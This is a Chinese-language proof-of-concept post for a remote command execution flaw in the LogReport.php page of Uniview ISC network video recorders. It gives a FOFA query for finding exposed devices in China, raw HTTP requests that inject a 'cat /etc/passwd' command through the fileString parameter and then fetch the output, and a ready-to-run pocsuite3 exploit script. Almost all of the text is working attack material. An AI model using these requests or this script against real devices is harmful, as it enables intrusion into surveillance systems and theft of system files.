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漏洞描述
浙江宇视isc网络视频录像机LogReport.php存在远程命令执行漏洞。
fofa语句
body="Alarm" && country="CN" && body="白牌定制"poc语句加检测
GET /Interface/LogReport/LogReport.php?action=execUpdate&fileString=x;cat+/etc/passwd%3Eqwer1234.txt HTTP/1.1
Host:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=7b9bab286911f705a76e3c9cb5a14507; logintime=-; devLanguage=zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
GET /Interface/LogReport/qwer1234.txt HTTP/1.1
Host:
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
poc脚本
脚本用的pocsuite框架
# -*- coding: utf-8 -*-
# 2023/12/11 16:43
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OrderedDict, OptString
class yushi_isc_logreport_RCE(POCBase):
author = '炼金术师诸葛亮'
createDate = '2023-12-11'
name = 'yushi-isc-logreport-RCE'
appName = 'yushi-isc-logreport-RCE'
vulType = 'Command Execution' # 漏洞类型，参见漏洞类型规范表
desc = '浙江宇视 isc 网络视频录像机 LogReport.php 远程命令执行漏洞' # 漏洞简要描述
def _verify(self):
result = {}
path = "/Interface/LogReport/LogReport.php" # 参数
url = self.url + path
payload = "?action=execUpdate&fileString=x%3bcat%20/etc/passwd%3eqwer1234.txt" # payload
headers = {
'Cookie': 'PHPSESSID=7b9bab286911f705a76e3c9cb5a14507; logintime=-; devLanguage=zh-CN',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Connection': 'close'
}
r = requests.get(url + payload,headers=headers)
print(r.text)
# 验证成功输出相关信息
if r.status_code == 200:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Name'] = payload
return self.parse_output(result)
def _attack(self):
result = {}
path = "/Interface/LogReport/qwer1234.txt"
url = self.url + path
headers2={
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'
}
r = requests.get(url,headers=headers2)
if r and r.status_code == 200 and "root" in r.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Resp'] = r.text
return self.parse_output(result)
register_poc(yushi_isc_logreport_RCE)脚本利用
